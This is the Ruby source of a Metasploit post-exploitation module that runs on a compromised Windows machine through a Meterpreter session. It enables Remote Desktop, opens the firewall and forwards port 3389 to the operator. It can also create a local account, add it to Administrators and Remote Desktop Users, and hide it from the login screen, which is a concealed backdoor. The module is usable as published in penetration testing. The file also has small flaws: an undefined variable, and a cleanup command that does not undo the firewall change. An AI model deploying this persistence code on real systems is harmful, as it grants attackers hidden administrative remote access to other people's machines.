modules/post/windows/manage/enable_rdp.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Accounts
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Services
include Msf::Post::Windows::Priv
include Msf::Post::File
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Manage Enable Remote Desktop',
'Description' => %q{
This module enables the Remote Desktop Service (RDP). It provides the options to create
an account and configure it to be a member of the Local Administrators and
Remote Desktop Users group. It can also forward the target's port 3389/tcp.
},
'License' => BSD_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
)
)
register_options(
[
OptString.new('USERNAME', [ false, 'The username of the user to create.' ]),
OptString.new('PASSWORD', [ false, 'Password for the user created.' ]),
OptBool.new('ENABLE', [ false, 'Enable the RDP Service and Firewall Exception.', true]),
OptBool.new('FORWARD', [ false, 'Forward remote port 3389 to local Port.', false]),
OptInt.new('LPORT', [ false, 'Local port to forward remote connection.', 3389])
]
)
end
def run
if datastore['ENABLE'] || (datastore['USERNAME'] && datastore['PASSWORD'])
cleanup_rc = store_loot(
'host.windows.cleanup.enable_rdp',
'text/plain',
session,
'',
'enable_rdp_cleanup.rc',
'enable_rdp cleanup resource file'
)
if datastore['ENABLE']
if is_admin?
enablerd(cleanup_rc)
enabletssrv(cleanup_rc)
else
print_error('Insufficient privileges, Remote Desktop Service was not modified')
end
end
if datastore['USERNAME'] && datastore['PASSWORD']
if is_admin?
addrdpusr(datastore['USERNAME'], datastore['PASSWORD'], cleanup_rc)
else
print_error('Insufficient privileges, account was not be created.')
end
end
if datastore['FORWARD']
print_status("Starting the port forwarding at local port #{datastore['LPORT']}")
client.run_cmd("portfwd add -L 0.0.0.0 -l #{datastore['LPORT']} -p 3389 -r 127.0.0.1")
end
print_status("For cleanup execute Meterpreter resource file: #{cleanup_rc}")
end
end
def enablerd(cleanup_rc)
key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server'
value = 'fDenyTSConnections'
begin
v = registry_getvaldata(key, value)
print_status 'Enabling Remote Desktop'
if v == 1
print_status "\tRDP is disabled; enabling it ..."
registry_setvaldata(key, value, 0, 'REG_DWORD')
file_local_write(cleanup_rc, "reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
else
print_status "\tRDP is already enabled"
end
rescue StandardError => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
def enabletssrv(cleanup_rc)
service_name = 'termservice'
srv_info = service_info(service_name)
begin
print_status 'Setting Terminal Services service startup mode'
if srv_info[:starttype] != START_TYPE_AUTO
print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
unless service_change_config(service_name, starttype: 'START_TYPE_AUTO') == Windows::Error::SUCCESS
print_error("\tUnable to change start type to Auto")
end
file_local_write(cleanup_rc, 'execute -H -f cmd.exe -a "/c sc config termservice start= disabled"')
if service_start(service_name) == Windows::Error::SUCCESS
print_good("\tRDP Service Started")
end
file_local_write(cleanup_rc, 'execute -H -f cmd.exe -a "/c sc stop termservice"')
else
print_status "\tTerminal Services service is already set to auto"
end
# Enabling Exception on the Firewall
print_status "\tOpening port in local firewall if necessary"
cmd_exec('netsh', 'firewall set service type = remotedesktop mode = enable', 30)
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
rescue StandardError => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
def addrdpusr(username, password, cleanup_rc)
print_status 'Setting user account for logon'
print_status "\tAdding User: #{username} with Password: #{password}"
begin
if check_user(username)
print_error("\tThe user #{username} already exists")
return
end
rdu_sid = resolve_sid('S-1-5-32-555')
admin_sid = resolve_sid('S-1-5-32-544')
if !rdu_sid[:mapped] || !admin_sid[:mapped]
print_error("\tThe Remote Desktop Users group is not mapped") if !rdu_sid[:mapped]
print_error("\tThe Administrators group is not mapped") if !admin_sid[:mapped]
print_error("\tNot adding user #{username}")
return
end
rdu = rdu_sid[:name]
admin = admin_sid[:name]
user_added = false
result = add_user(username, password)
if result['return'] == 0
user_added = true
elsif check_user(username)
user_added = true
end
if user_added
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
print_status "\tAdding User: #{username} to local group '#{rdu}'"
add_members_localgroup(rdu, username)
print_status "\tHiding user from Windows Login screen"
hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'
registry_setvaldata(hide_user_key, username, 0, 'REG_DWORD')
file_local_write(cleanup_rc, "reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
print_status "\tAdding User: #{username} to local group '#{admin}'"
add_members_localgroup(admin, username)
print_status 'You can now login with the created user'
else
print_error('Account could not be created')
print_error('Error:')
addusr_out.each_line do |l|
print_error("\t#{l.chomp}")
end
end
rescue StandardError => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
def check_user(user)
enum_user.include?(user)
end
end